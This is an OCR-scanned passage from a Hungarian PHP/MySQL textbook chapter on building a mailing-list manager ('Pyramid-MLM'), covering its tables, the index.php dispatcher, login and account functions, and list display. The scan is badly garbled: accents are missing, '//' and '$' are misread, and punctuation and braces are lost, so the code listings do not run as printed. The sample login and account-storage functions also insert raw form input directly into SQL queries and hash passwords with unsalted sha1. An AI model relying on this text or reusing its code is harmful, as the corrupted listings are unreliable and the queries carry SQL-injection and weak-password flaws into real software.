felhasznalak

tblbl vett e-mail cmeket

(email) , illetve a listak tblbl szrmaz listaiD

ket tartalmazza.
A hirlevel tblban a rendszer ltal kkldtt hrlevelekrl tallunk informcikat. Trolja a hrlevelek egyedi azonos
tjt

( hirleveliD) , a cmet, amelyrl a hrlevelet kldtk ( email) , az e-mail trgysort (targy) , valarnint annak a levelez

listnak a listaiD-jt, amelyre a levelet kldtk vagy kldeni fogjuk. Az zenet szvege vagy HTML-je akr igen nagy fjl is
lehet, ezrt a hrlevelek archvumt az adatbzison kvl clszer trolnunk. Feljegyznk tovbb nhny ltalnos llapotin-

482

30. fejezet

formcit: azt, hogy a hrlevl el lett-e kldve ( allapot) , ha igen, akkor rnikor ( kuldve) , illetve eltrolunk egy idblyeget,
ami azt jelzi, hogy mikor mdostottuk utoljra ezt a rekordot ( modositva) .
Vgl a kepek tblval azt kveljk nyomon, hogy milyen kpek tartoznak az egyes HTML zenetekhez. A kpek mrete
akr igen nagy is lehet, ezrt a hatkonysg megrzse rdekben az adatbzison kvl fogjuk trolni ket. Fel kell jegyeznnk,
hogy a kpek melyik hrlevlhez tartoznak (hirleveliD ) , milyen eleresi_utvonal on troljuk ket, s rnilyen MIME
-

tpusak ( mime_tipus) - pldul image/gif.


A 30.1 pldakdban lv SQL kd bellt tovbb egy felhasznlt, amelyknt a PHP csatlakozhat, valamint egy adminiszt
rtort a levelezlista-rendszer kezelsre.

A kd architektrjnak meghatrozsa
Akrcsak az elz projektben, most is esemnyvezrelt megkzeltst kvetnk. Az alkalmazs gerince az index. php fjlban
tallhat. Ez a kd az albbi fbb rszekbl ll ssze:
l. Elfeldolgozs vgrehajtsa. Itt a fejlcek kldse eltt szksges feladatokat vgezzk el.

30

2.

Oldalfejlcek belltsa s kldse. A HTML oldal fejlcnek ltrehozsa s kldse.

3. Mvelet vgreh;ytsa. Reagls az szlelt esemnyre. Akrcsak az elz pldban, itt is a $muvelet vltozban troljuk

az esemnyt.
4.

Oldallblcek kldse.

Az alkalmazst nagyrszt ez a f:ijl mkdteti. Ahogy

ezt

mr emltettk, az alkalmazs a 30.1 tblzatban lthat fggvny

knyvtrakat is hasznlja.
Az index. php kd teljes szvegt a 30.2 rnintakd tartalmazza.
30.2 pldakd: index.php-A Pyramid-MLM alkalmazs J

kdja

<?php
/**********************************************************************
* l.

rsz :

elfeldolgozs

*********************************************************************/
include ('beillesztett_fuggvenyek.php');
session_start();
Smuvelet = S_GET['muvelet'];
$gombok = array();
ll fzzk hozz ehhez a sztringhez,
ll ha brmit feldolgoztunk a HTTP fejlc elkldse eltt!
Sallapot = '';
ll legelszr a bejelentkezsi s kijelentkezsi krseket kell feldolgozni
if(($ POST['email'])

&&

($ POST['jelszo']))

$bejelentkezes = bejelentkezes($ POST['email'],


if($bejelentkezes
Sallapot

.=

==

'admin')

$ POST['jelszo']);

"<p style=\"padding-bottom:

SOpx\">

<strong>".valodi_nev lekerese($_POST['ema1l']) ."</strong>


sikeresen bejelentkezett
<strong>adminisztrtorknt<lstrong>.<lp>";
S_SESSION['admin_felhasznalo']

S_POST['email'];

else if($bejelentkezes == 'normal')

Sallapot .= "<p style=\"padding-bottom:

SOpx\">

Levelezlista-kezel alkalmazs fejlesztse

483

<strong>".valodi_nev_lekerese($_POST['email'])."<lstrong>
sikeresen bejelentkezett.<lp>";
$_SESSION['altalanos felhasznalo'] = $ POST['email'];

else
$allapot

"<p style=\"padding-bottom:

50px\">Sajnos nem sikerlt

belptetni a megadott e-mail cmmel s jelszval.<lp>";

if($muvelet == 'kijelentkezes')
unset($muvelet);
$ SESSION=array();
session_destroy();

30
/**********************************************************************
* 2.

rsz:

fejlc ltrehozsa s megjelenitse

*********************************************************************/

ll az eszkzsoron megjelen gombok meghatrozsa


if(altalanos_felhasznalo_ellenorzese())

ll ltalnos felhasznl esetn


$gombok[0]

$gombok[l]

= 'fiok-beallitasok';

'jelszo-megvaltoztatasa';

$gombok[2] = 'sajat-listak-megjelenitese';
$gombok[3] = 'egyeb-listak-megjelenitese';
$gombok[4] = 'kijelentkezes';
else if(admin_felhasznalo_ellenorzese())
ll adminisztrtor esetn
$gombok[O] = 'jelszo-megvaltoztatasa';
$gombok[l]

'levelezolista-letrehozasa';

$gombok[2]

'hirlevel-letrehozasa';

$gombok[3]

'hirlevel-megtekintese';

$gombok[4]

'kijelentkezes';

$gombok[5]

'osszes-lista-megjelenitese';

$gombok[6]

'sajat-listak-megjelenitese';

$gombok[7]

'egyeb-listak-megjelenitese';

else

ll ha nincs bejelentkezve
$gombok[O]

'uj-fiok';

$gombok[l]

'osszes-lista-megjelenitese';

$gombok[4]

'bejelentkezes';

if($muvelet)

ll fejlc megjelentse,

benne az alkalmazs nevvel

ll s az oldal vagy mvelet lersval


html_fejlec_letrehozasa('Pyramid-MLM - '.muvelet_formazasa($muvelet));
else

ll fejlc megjelentse,

benne csak az alkalmazs nevvel

html_fejlec_letrehozasa('Pyramid-MLM');

eszkozsor_megjelenitese($gombok);

484

30. fejezet

ll a fejlc eltt meghvott fggvnyek ltal ltrehozott szveg megjelenitse


echo $allapot;
/**********************************************************************
* 3.

rsz:

mveletek vgrehajtsa

*********************************************************************/

ll bejelentkezs nlkl csak ezek a mveletek hajthatk vgre


switch ($muvelet)
case 'uj-fiok':
ll munkamenet-vltozk trlse
session_destroy();
fiok urlap_megjelenitese();
break;

30

case 'fiok-tarolasa':
if (fiok_tarolasa($ SESSION ['altalanos felhasznala' l ,
$_SESSION['admin_felhasznalo'],
$muvelet

$POST))

'';

if(!beJelentkezes_ellenorzese())
bejelentkezesi_urlap_megjelenitese($muvelet);

break;

case 'bejelentkezes':

case '':
if(!bejelentkezes_ellenorzese())
bejelentkezesi_urlap_megjelenitese($muvelet);

break;

case 'osszes-lista-megjelenitese':
elemek_megjelenitese('sszes lista',

osszes lista_lekerese(),

'informacio',

'archivum-megjelenitese', '');
break;

case 'archivum-megjelenitese':
elemek_megjelenitese(listanev_lekerese($_GET['id']). 'archvuma ',
archivum_lekerese($_GET['id']),
'szoveges-megjelenitese',

' ');

break;
case 'informacio':
informacio_megjelenitese($_GET['id']);
break;

ll az sszes tbbi mvelethez bejelentkezs szksges


if(bejelentkezes_ellenorzese())
switch ($muvelet)
case 'fiok-beallitasok':

'HTML-megjelenitese',

Levelezlista-kezel alkalmazs fejlesztse

485

fiok_urlap_megjelenitese(email_lekerese(),
valodi_nev_lekerese(email_lekerese()),
mime tipus lekerese(email_lekerese()));
break;

case 'egyeb-listak-megjelenitese':
elemek_megjelenitese('Nem krt levelezlistk',
nem_feliratkozott listak_lekerese(email_lekerese()),
'informacie',

'archivum-megjelenitese',

'feliratkozas');

break;

case 'feliratkozas':
feliratkozas(email lekerese(),

$_GET['id']);

elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacie',

'archivum-megjelenitese',

'leiratkozas');

30

break;

'
case 'leiratkozas':
leiratkozas(email lekerese(),

$_GET['id']);

elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacie',

'archivum-megjelenitese',

'leiratkozas');

break;

case '':
case 'sajat-listak-megjelenitese':
elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacie',

'archivum-megjelenitese',

'leiratkozas');

break;

case 'jelszo-megvaltoztatasa':
jelszo_urlap_megjelenitese();
break;

case 'jelszo-megvaltoztatasa-tarolasa':
if(jelszo_valtoztatas(email_lekerese(),
$_POST['uj_jelszo'],

$ POST['elozo_jelszo'],

$_POST['uj_jelszo2']))

echo "<p style=\"padding-bottom:

SOpx\">OK:

jelszavt megvltoztattuk.<lp>";

else
echo "<p style=\"padding-bottom:

SOpx\">Sajnljuk,

jelszavt

nem sikerlt megvltoztatni.<lp>";


jelszo_urlap_megjelenitese();

break;

ll A kvetkez mveleteket csak adrnin felhasznl hajthatja vgre


if(adrnin_felhasznalo_ellenorzese())
switch ($muvelet)
case 'hirlevel-letrehozasa':
hirlevel_urlap_megjelenitese(email lekerese());

486

30. fejezet

break;
case 'levelezolista-letrehozasa':
lista_urlap_megjelenitese(email_lekerese());
break;
case 'lista-tarolasa':
if(lista tarolasa($_SESSION['admin_felhasznalo'], $POST))
echo "<p style=\"padding-bottom:

SOpx\">Az j lista hozz lett adva.<lp>";

elemek_megjelenitese('sszes lista', osszes_lista_lekerese(), 'informacio',


'archivum-megjelenitese','');
else
echo "<p style=\"padding-bottom:

SOpx\">A listt nem lehetett eltrolni.


Krjk, prblja meg jra!<lp>";

30

break;
case 'kuldes':
kuldes($_GET['id'], $ SESSION['admin_felhasznalo']);
break;
case 'hirlevel-megtekintese':
elemek_megjelenitese('El nem kldtt hrlevelek',
elkldetlen_hirlevel lekerese(email lekerese()),
'HTML-elonezete', 'szoveges-elonezete', 'kuldes');
break;

/**********************************************************************
* 4. rsz: lblc megjelenitse
*********************************************************************/
html lablec_megjelenitese();
?>

A pldakdban egymstl jl lthatan elvlasztva jelennek meg a kd klnbz rszei. Az elfeldolgozsi rszben bellt
juk a munkamenetet, s feldolgozzuk az oldalfejlc elkldse eltt vgzend mveleteket. Alkalmazsunkban a be- s kijelent
kezs jelenti ezeket a mveleteket.
A lblc-megjelents szakaszban llitjuk be a felhasznl ltal majdan lthat mengombokat, majd a kimeneti_
fuggvenyek.ph p knyvtr html_fejlee _letrehozasa () fggvnyvel megjelentjk a megfelel oldalfejlcet. Ez

a fggvny egyszeren csak a fejlcsor s a menk megjelentsrt felels, ezrt a rszleteibe most nem megynk bele.
A kd f rszben kezeljk a felhasznl ltal kivlasztott mveletet. Ezek hrom csoportba oszthatk: a be nem jelentke
zett felhasznlk szmra elrhet mveletek, az ltalnos felhasznlk szmra elrhet mveletek, illetve az adminisztratv
felhasznlk szmra fenntartott mveletek. Az utbbi kt mveletcsoporthoz val jogosultsgot a bejelen tkezes_
ellenorzese ( ) s az admin_felhasznala _ellenorzese() fggvnnyel llaptjuk meg. Ez a kt fggvny

a felhasznaloi_hitelesites_fuggvenyek. php fggvnyknyvtrban tallhat. Ezek, illetve az altalanos_


felhasznalo_ellenorzese() fggvny kdjt a 30.3 pldakdban talljuk.

30.3 pldakd: Hromfggvny a felhasznaloi_hitelesites_fuggvenyek. php knyvtrbl- Ezek a fggvnyek

llaptjk meg, hogy afelhasznl bejelentkezett-e, s ha igen, akkor milyen szinten


function altalanos_felhasznalo_ellenorzese()
ll ellenrizzk, hogy bejelentkezett-e, s kzljk, ha nem

Levelezlista-kezel alkalmazs fejlesztse

if (isset($ SESSION['altalanos felhasznalo']))


return true;
else

return false;

function admin_felhasznalo_ellenorzese()

ll ellenrizzk,

hogy bejelentkezett-e,

{
s kzljk,

ha nem

if (isset($ SESSION['admin felhasznalo']))


return true;
else

return false;

function bejelentkezes_ellenorzese() {
return ( altalanos felhasznalo_ellenorzese()

l l

admin_felhasznalo ellenorzese() );

A fenti sorokbl lthat, hogy a fggvnyekazal talanos _ felhasznala s az a dmin_ felhasznalo munkamenet
vltozval ellenrzik, hogy a felhasznl belpett-e. Rvidesen megmutaguk, hogyan kell belltani ezeket a vltozkat.
Az index. php kd utols rszben a kimeneti_fuggvenyek. php knyvtr html_lablec_megjelenitese()
fggvnye segtsgvel elkldjk a HTML lblcet.
Nzzk t rviden a rendszerben lehetsges mveleteket a 30.2 tblzatban!
30.2 tblzat: A levelezlista-kezel alkalmazs lehetsges mveletei
Mvelet

Jogosultak kre

Lers

Megjelenti a felhasznlnak a bejelentkezsi rlapot

bejelentkezes

Brki

kijelentkezes

Brki

Befejezi a munkamenetet

uj -fiok

Brki

j felhasznli fikot hoz ltre a felhasznlnak

fiok-tarolasa

Brki

Eltrolja a fik adatait

osszes-lista-megjelentese

Brki

Megjelenti a vlaszthat levelezlistkat

archivum-megj elenitese

Brki

Megjelentiaz adott levelezlista archivlt hrleveleit

informacie

Brki

Alapinformcikat jelent meg az adott listrl

fiok-beallitasok

Bejelentkezett

Megjelenti a felhasznl fikjnak belltsait

felhasznlk
egyeb-listak-megjelenitese

sajat-listak-megjelenitese

Bejelentkezett

Azokat a levelezlistkat jelenti meg, amelyekre nem

felhasznlk

iratkozott fel a felhasznl

Bejelentkezett

Azokat a levelezlistkat jelenti meg, amelyekre a fel

felhasznlk

hasznl feliratkozott

feliratkozas

Bejelentkezett

A felhasznl feliratkozik egy adott listra

leiratkozas

Bejelentkezett

felhasznlk
A felhasznl leratkazik egy adott listrl

felhasznlk
jelszo-valtoztatas

Bejelentkezett

A jelsz megvltoztatsa rlapot jelenti meg

felhasznlk
jelszo-valtoztatas-tarolasa

Bejelentkezett
felhasznlk

Mdosga az adatbzisban a felhasznl jelszavt

487

488

30. fejezet

Mvelet

Jogosultak kre

hirlevel-letrehozasa

Adminisztrtorok

Hrlevelek feltltst lehetv tev rlapot jelent meg

levelezolista-letrehozasa

Adminisztrtorok

j levelezlistk ltrehozst lehetv tev rlapot

lista-tarolasa

Adminszrrtorok

Eltrolja az adatbzisban a levelezlista adatait

hirlevel-megtekintese

Adminisztrtorok

Megjelenti a feltlttt, de mg ki nem kldtt hrleve

kuldes

Adminsztttorok

Lers

jelent meg

leket
Hrlevelek kldse a feliratkozottaknak

A 30.2 tblzatot olvasva hinyrzetnk lehet, mivel nem talljuk ott a hirlevel-tarolasa mveletet, ami tu
lajdonkppen a h ir leve1-1et re hoz asa mvelettel ltrehozott hrlevelek feltltse. Ezt a funkcit egy kln fjlba

( feltoltes . php) tettk bele, mert gy biztonsgi szempontbl valamivel knnyebb lesz kezelni a fjlfeltltst.
A kvetkezkben a 30.2 tblzarban hrom csoportba sorolt - vagyis a nem bejelentkezett, a bejelentkezett s

30

az

adminiszt

rtor felhasznJk szmra elrhet - mveletek megvalsrst fogjuk ttekinteni.

A bejelentkezs megvalstsa
Amikor teljesen j felhasznl ltogat el oldalunkra, hrom dolgot szerernnk. Elszr is szeretnnk megmutatni neki, hogy mit
knl

az

oldalunk; msodsorban szerernnk, hogy regisztrljon; vgiil azt, hogy lpjen be az oldalra. Ezeket a feladatokat most

egyenknt megvizsgljuk. A 30.4 brn az oldalra els alkalommal elltogat felhasznlknak megjelentett kpernyt lthatjuk.

30.4 bra:

Az oldalra rkezJelhasznlk j Jelhasznli fikot hozhatnak ltre, megtekinthetik az elrhet levelezlistkat,


illetve bejelentkezhetnek.

A kvetkezkben az j felhasznli fik ltrehozsval s a bejelentkezssei foglalkozunk, a levelezlistk megjelentsre


pedig a fejezet ksbbi, a Felhasznlifunkcik megvalstsa s az Adminisztrlori funkcik megvalstsa cm rszben trnk
majd vissza.

j felhasznli fik ltrehozsa


Ha a felhasznl a mensor "j fik" gombjra kattint, az

, uj -fiok'

mveletet vltja ki. Ez a mvelet az index. ph p fjl

albbi kdjt futtatja:


case

'uj-fiok':

ll munkamenet-valtozok trlse
session_destroy();
fiok_urlap_megjelenitese ();
break;

Ez a kd tulajdonkppen kilpreci

az

esetlegesen bejelentkezett felhasznlt, s megjelenti szmra a 30.5 brn lthat,

a felhasznli fik ltrehozshoz szksges rlapot.

Levelezlista-kezel alkalmazs fejlesztse

30.5 bra:

A Jelhasznlk az j Jelhasznli fik ltrehozsra szolgl rlapon adhatjk meg adataikat.

Az rlapot a kimeneti_fuggvenyek. php knyvtr fiok_urlap_megjelenitese(} fggvnye llrja el. A fgg


vnyt nem csak itt, hanem a fiok-bealli tasok mveletnl is hasznljuk, mindkt esetben azt az rlapot jelenti meg,
amellyel a felhasznl megadhatja fikjainak az adatait. Amennyiben a fiok-beallitasok mvelet ltal hvjuk meg a fgg
vnyt, az rlapmezk a felhasznl meglv adaraival kitltve fognak megjelenni. Jelen esetben viszont res az rlap, mivel egy
j felhasznl adatainak bevirelre szolgl. A fggvny csak HTML kimeneret eredmnyez, ezrt itt s most rszletesebben
nem foglalkozunk vele.
Az r!ap.Klds" gombjra kartintssal a, fiok-tarolasa' mveletet vltjuk ki, amelynek kdja a kvetkez:
case 'fiok-tarolasa':
if (fiok_tarolasa($_SESSION['altalanos_felhasznalo'),
$ SESSION['admin felhasznalo'),
$muvelet

'

'

$POST))

o
'

if(!bejelentkezes ellenorzese())

bejelentkezesi_urlap_megjelenitese($muvelet);

break;

A 30.4 pldakdban lthat fiok_tarolasa () fggvny trolja el az adatbzisban a fik adatait.

Az mlm fuggvenyek. php knyvtr fiok_tarolasa ()fggvnye- Afggvny jfelhasznlt ad az adat


bzishoz, vagy mdostja egy meglvJelhasznl adatait
30.4 pldakd:

ll j felhasznl hozzadsa az adatbzishoz,


ll vagy meglv felhasznl adatainak mdostsa
function fiok_tarolasa($altalanos felhasznalo,

$admin felhasznalo,

$adatok)

if(!kitoltott($adatok))
echo "<p>Minden mezt ki kell tlteni.

Krjk,

prblja jra!<lp>";

return false;
else

489

if(letezo_felhasznalo($adatok['email')))
ll ellenrizzk,

hogy a mdostani kvnt felhasznlknt jelentkezett-e be

if(email_lekerese{)==$adatok['email'))

$lekerdezes = "UPDATE felhasznalek SET


valodi_nev = '".$adatok[valodi_nev] ."',
mime tipus = '".$adatok[m1me tipus)."'
WHERE email = '".$adatok[email) ."'";

if($kapcsolat=adatbazishoz_kapcsolodas())
if ($kapcsolat->query($lekerdezes))
return true;

30

490

30. fejezet

else

return false;

else

echo "<p>Nem sikerlt elmenteni a vltoztatsokat.</p>";


return false;
else
echo "<p>Mr regisztrlt e-mail cim.</p>
<p>Ha mdositani szeretn bellitsait,

jelentkezzen be ezzel a eimmel!</

p>";
return false;
else {

30

ll j felhasznli fik
$lekerdezes = "INSERT INTO felhasznalak
VALUES ('".$adatok[email]."',
'".$adatok[valodi_nev] ."',
'".$adatok[mime_tipus] ."',
shal ('".$adatok [UJ

jelszo]."'),

0)";
if($kapcsolat=adatbazishoz kapcsolodas())
if ($kapcsolat->query($lekerdezes))
return true;

else

return false;
else

echo "<p>Nem sikerlt elmenteni az j felhasznli fikot.</p>";


return false;

A fggvny elszr ellenrzi, hogy a felhasznl megadta-e a krt adatokat. Amennyiben igen, a fggvny j felhasznlt
hoz ltre, vagy - amennyiben a felhasznl mr ltezik - mdostja a fik adatait. A felhasznl csak annak a fiknak az adata
it mdosthatja, amelynek felhasznli nevvel s jelszavval bejelentkezett.
A bejelentkezett felhasznl szemlyazonossgt az email_lekerese () fggvnnyel ellenrizzk, amely visszakeresi az
aktulisan bejelentkezett felhasznl e-mail cmt. Ksbb mg visszatrnk ehhez a fggvnyhez, mert olyan munkamenet
vltozkat hasznl, amelyeket a felhasznl bejelentkezsekor lltunk be.

Bejelentkezs
Amikor a felhasznl kitlti a 30.4 brn ltott bejelentkezsi rlapot, s a"Bejelentkezs" gombra kattint, az index.php
kdba jut, mgpedig gy, hogy az email s a jelszo vltoz rtke be van llrva. Ez a bejelentkezsi kdot aktivlja, ami az
index.php elfeldolgozsi rszben tallhat, s a kvetkezkppen nz ki:

ll legelszr a bejelentkezsi s kijelentkezsi krseket kell feldolgozni


if(($_POST['email'])
$bejelentkezes

if ($bejelentkezes
Sallapot

.=

&&

($_POST['jelszo']))

bejelentkezesiS POST['email'],

==

$_POST['jelszo']);

'adrnin') {

"<p style=\"padding-bottom:

50px\">

<strong>".valodi_nev_lekerese($ POST['email'])."</strong>

Levelezlista-kezel alkalmazs fejlesztse

sikeresen bejelentkezett
<strong>adminisztrtorknt<lstrong>.<lp>";
$_SESSION[1admin_felhasznalo1)

$ POST[1email1);

else if($bejelen tkezes == 1normal1)


Sallapot

.=

"<p style=\"padding-bottom:

SOpx\">

<strong>".valodi_nev_lekerese($_POST[1email1)) ."<lstrong>
sikeresen bejelentkezett.<lp>";
$ SESSION[1altalanos felhasznalo1) = $_POST[1email1];
else
"<p style=\"padding-bottom:

$allapot

SOpx\">Sajnos nem sikerlt

belptetni a megadott e-mail cmrnel s jelszval.<lp>";

if($muvelet == 1kijelentkezes1)
unset($muvelet);
$_SESSION=array();
session_destroy();

A fenti sorokbl lthatjuk, hogy elszr is megprbljuk belptemi a felhasznlt a felhasznalc _hitelesites_
fuggvenyek. php knyvtr bejelentkezes () fggvnyt hasznlva. Ez a fggvny kis mrtkben klnbzik a mshol

hasznlt bejelentkezsi fggvnyektl, rdemes ht kzelebbrl megvizsglni. Kdjt a 30.5 pldakdban ltjuk.
30.5 pldakd: A felhasznaloi_hitelesites_fuggvenyek.php knyvtr bejelentkezes ()fggvnye- A fgg

vny a felhasznl bejelentkezsi adatait ellenrzi


function bejelentkezes($email,

$jelszo)

ll felhasznli nv s jelsz sszevetse az adatbzissal


ll ha rendben van,

visszatrsi rtke true

ll egybknt kivtelt vlt ki


ll kapcsolds az adatbzishoz
$kapcsolat = adatbazishoz_kapcsolodas();
if (!$kapcsolat)
return 0;
"SELECT admin FROM felhasznalek

$lekerdezes

WHERE email=1".$email."1
AND jelsze = sha1(1".$jelszo."1)";
$eredmeny = $kapcsolat->query($lekerdezes);
if

(! $eredmeny) {
return false;

if ($eredmeny->num_rows<l)
return false;

$sor = $eredmeny->fetch_array();
if($sor[0)

==

l)

491

492

30. fejezet

return 'admin';
else

return 'normal';

A korbban alkalmazott bejelentkezsi fggvnyek sikeres bejelentkezs esetn true, egybknt false rtkkel trtek
vissza. Sikertelen bejelentkezs esetn itt is false rtket kapunk, m sikeres bejelentkezs utn a felhasznl tpust kapjuk
vissza, ami

, admin' vagy, normal' lehet. Ezt gy llapguk meg, hogy az adott

e-mail cm s jelsz proshoz visszakeressk

a felhasznalek tbla admin oszlopban rallhat rtket. Ha a lekrdezs nem ad eredmnyt, false rtket adunk visz
sza. Adminisztrtori felhasznl esetn az rtk l ( true) lesz, gy ekkor, admin'

rtkkel tr vissza a fggvny. Minden ms

esetben visszatrsi rtke, normal' lesz.


A kd futtatsnak f ghoz visszatrve munkamenet-vltozt regisztrlunk, hogy nyomon tudjuk kvetni, ki a felhasznl.
Ha adminisztrtor, akkor admin_felhasznalo lesz, msklnben pedig altalanos_felhasznalo. Akrmelyik vltozr

30

lltjuk be, tartalmazni fogja a felhasznl e-mail cmt. Annak rdekben, hogy egyszerbb tegyk a felhasznl e-mail cmnek
ellenrzst, a korbban mr emltett emai 1_1 ekerese( ) fggvnyt fogjuk hasznlni. Ennek kdjt a 30.6 pldakd mutatja.
30.6 pldakd: A felhasznaloi_hitelesites_fuggvenyek .php knyvtr email_lekerese {)fggvnye- Afgg
vny a bejelentkezettfelhasznl e-mail cmt adja vissza
function email lekerese

{)

if (isset($_SESSION['altalanos felhasznalo']))
return $ SESSION['altalanos felhasznalo'];

if (isset($_SESSION['admin felhasznalo']))
return $ SESSION['admin felhasznalo'];

return false;

Miutn visszatrnk a program f ghoz, tjkoztatjuk a felhasznlt, hogy sikerlt-e belptetni, s ha igen, milyen szinten
lpett be. A 30.6 brn egy sikeres bejelentkezsi kisrlet eredmnyt ltjuk.
Most, hogy mr bejelentkezett felhasznlval rendelkeznk, a felhasznli funkcikkal folytatjuk munknkat.

30.6 bra: A rendszer kzli afelhasznlval, hogy sikeresen bejelentkezett.

Felhasznli funkcik megvalstsa


A bejelentkezett felhasznlknak az albbi t lehetsget szeretnnk felkinlni:
A feliratkozs cljbl elrhet levelezlistk megjelentse
Feliratkozs lisrkra s leiratkozs azokrl

Levelezlisra-kezel alkalmazs fejlesztse

493

Felhasznli belltsok mdostsa

Jelszvltoztats
Kijelentkezs

A 30.6 brn lthat gombokkal a fenti lehetsgek jelents rsze mr elrhet. Nzzk meg most azt, hogyan valstjuk
meg ezeket a funkcikat!

Levelezlistk megtekintse
A projektben tbbflekppen adunk a felhasznlknak lehetsget arra, hogy megtekintsk az elrhet levelezlistfut s azok
adatait. A 30.6 brn kt ilyen opcit ltunk: a,.Sajt listk megjelentse" gombra kattintva azokat a listkat ltja a felhasznl,
amelyekre mr feliratkozott. Az .. Egyb listk megjelentse" gombbal azokat a levelezlistfut tekintheti meg, amelyekre nem
iratkozott fel.
Ha visszalapozunk a 30.4 brra, mg egy hasonl lehetsget ltunk: az,.sszes lista megjelentse" gombbal a rendszerben
elrhet sszes levelezlistt tekinthetjk meg. Ahhoz, hogy ez a funkci valban hasznos legyen, korltozni kell az egy oldalon
megjelentend listk szmt (moncljuk tzre), s meg kell adni a felhasznlnak a lapozs lehetsgt. Az egyszersg kedvrt
ettl ebben a projektben eltekintettnk.
Ez a hrom menpont az osszes-lista-megjelenitese, az egyeb-listak-megjelenitese s a sajat
listak-megjelenitese mveletet vltja ki. Mint ahogy arra szmthattunk, ezek a mveletek igen hasonlan mkdnek.

Kcljuk a kvetkez:
case 'osszes-lista-megjelenitese':
elemek_megjelenitese('sszes lista', osszes lista_lekerese(),

'informacio',

'archivum-megjelenitese','');
break;
case 'egyeb-listak-megjelenitese':
elemek_megjelenitese('Nem krt levelezlistk',
nem_feliratkozott_listak_lekerese(email_lekerese()), 'informacio',
'archivum-megjelenitese', 'feliratkozas');
break;
case '':
case 'sajat-listak-megjelenitese':
elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),'informacio',
'archivum-megjelenitese', 'leiratkozas');
break;

Lthat, hogy mindhrom mvelet a kimeneti_fuggvenyek. php knyvtr elemek_megjelenitese ( ) fggvnyt


hvja meg, azonban ms s ms paramterekkel teszi ezt. A korbban mr emltett email_lekerese () fggvnyt szintn
meghvjk, hogy lekrjk a felhasznl e-mail cmt.
Hogy megrtsk az elemek_megj elenitese () fggvny mkdst, vessnk egy pillantst a 30.7 brra, amely az
.Egyb listk megjelentse" oldalt mutatja!

30.7 bra:

Az elemek_megjelenitese () fggvny itt azoknak a levelezlistknak a listjt rja ki,


amelyekre afelhasznl nem iratkozott fel.

30
"

494

30. fejezet

Vizsgl jukmegmost az elemek_megjelenitese{) fggvny kdj t, amit a

30.7 pldakd

tartalma z!

30.7 pldakd: A kimeneti_fuggvenyek. php knyvtr elemek _megjelenitese{) fggvnye -A fggvny az egyes
listkat s az azokhoz kapcsold mveleteket jelenti meg
function elemek_megjelenitese($cim,

$lista,

$muveletl='',

$muvelet2=' ',

global $tablazat_szelessege;
echo "<table width=\"$tablazat szelessege\" cellspacing=\"0\"
cellpadding=\"0\" border=\"0\">";

ll mveletek megszmolsa
$muveletek=(($muveletl!='') + ($muvelet2!='')

($muvelet3!=''));

echo "<tr>
<th colspan=\"".{1+$muveletek)."\" bgcolor=\"ISB69A6\">"
.$cim."</th>
</tr>";

ll elemek megszmolsa
$elemek=sizeof($lista);
if($elemek == 0) {
echo "<tr>
<td colspan=\"". (l+$muveletek)."\" align=\"center\">Nincs
megjelenthet elem</td>
</tr>";
else

ll sorok kiratsa
for($i=O; $i<$elemek; $i++)

if($i%2) {

ll vltakoz httrszinek
$hatterszin="lffffff";
else {
$hatterszin="lccccff";

echo "<tr>
<td bgcolor=\"".$hatterszin."\"
width=\"". ($tablazat_szelessege - ($muveletek

149)) ."\">";

echo $lista[$i)[l);
if ($lista[$i)[2)) {
echo " - ".$lista[$i][2);

echo "</td>";

ll gombok ltrehozsa soronknt max. hrom mvelethez


for($j=l;

$j<=3;

$j++)

$var="muvelet".$j;
if($$var) {
echo "<td bgcolor=\"".$hatterszin."\" width=\"149\">";

$muvelet3=' ' ) {

Levelezlista-kezel alkalmazs fejlesztse

ll nzet/elnzet gombok specilisak, mert egy fjlra hivatkoznak


if(($$var == 'HTML-elonezete')
($$var ==

l l

'szoveges-elonezete')

($$var == 'HTML-megjelenitese')

l l

($$var ==

elonezet_gomb_megjelenitese($lista[$i) (3],
else

l l

'szoveges-megjelenitese'))

$lista[$i] [0),

$$var);

gomb_megjelenitese($$var,

'&id=' .

$lista [$i][0)

);

echo "</td>";

echo "</tr>\n";
echo "</table>";

A fggvny kimenere az elemek tblzata, amelyben mindegyik elemnl legfeljebb hrom kapcsold mvelet (illerve a mveletek gombja) lthat. A fggvny sorrendben az albbi t paramtert vrja:
A $eim a tblzat tetejn megjelen cmer tartalmazza. A 30.7 brn lthat esetben cmknt a .. Nem krt levelez
listk" kifejezst adtuk t, ahogy ezt az egyeb-listak-megj elen itese mvelethez tartoz kdrszletben mr
lthattuk.

A $lista a tblzat soraiban megjelentend elemek tmbje. Jelen esetben azoknak a levelezlistknak a tmbje,
amelyekre a felhasznl jelenleg nincsen feliratkozva. A tmbt (ebben az esetben) a rvidesen bemutatand nem_
feliratkozott_ listak_lekerese() fggvnnyel hozzuk ltre. Tbbdimenzis tmbbel llunk szemben, amely

nek minden sorban maximum ngy, az adott sorhoz tartoz adatot tallunk. Ezek sorrendben a kvetkezk:
A $lista[n) [O J az elem azonostjt tartalmazza; ez jellemzen a sor szma. Ez adja meg a mveletgom
boknak azt az azonostt, amelybl tudjk, hogy melyik sorral kell dolgozniuk. Ebben az esetben az adatbzis
bl vesszk az azonostkat; errl a ksbbiekben mg bvebben sz esik majd.

A $lista[n) [l) az elem nevt tartalmazza. Ez az adott elemhez megjelen szveg. A 30.7 brn lthat
esetben a tblzat els sorban ez az elemnv a MySQL teleptse.
A $lista[n) [2)

s a $lista [n) [3) opcionlis. Tovbbi informcik megjelentsre hasznljuk ket.

A.Tovbbi informci' szvegnek , illerve a Tovbbi informci" azonostnak felelnek meg.A kt paramter
"
hasznlatra akkor nznk majd pldt, arnikor az Adminisztratvfunkcik megvalstsa cm rszben a.Hrle
vl megtekintse" mvelethez rnk.

A fggvny opcionlis harmadik, negyedik s tdik paramtervel az egyes sorokban megjelen gombok ltal vgrehaj
tott mveleteket adjuk t.A 30.7 brn lthat hrom gomb sorrendben az.Informci; az ..Archvum megjelentsi' s
a ..Feliratkozs':

Az ..sszes lista megjelentse" oldalon gy jutunk ehhez a hrom gombhoz, hogy ezeknek a mveleteknek a nevt adjuk t

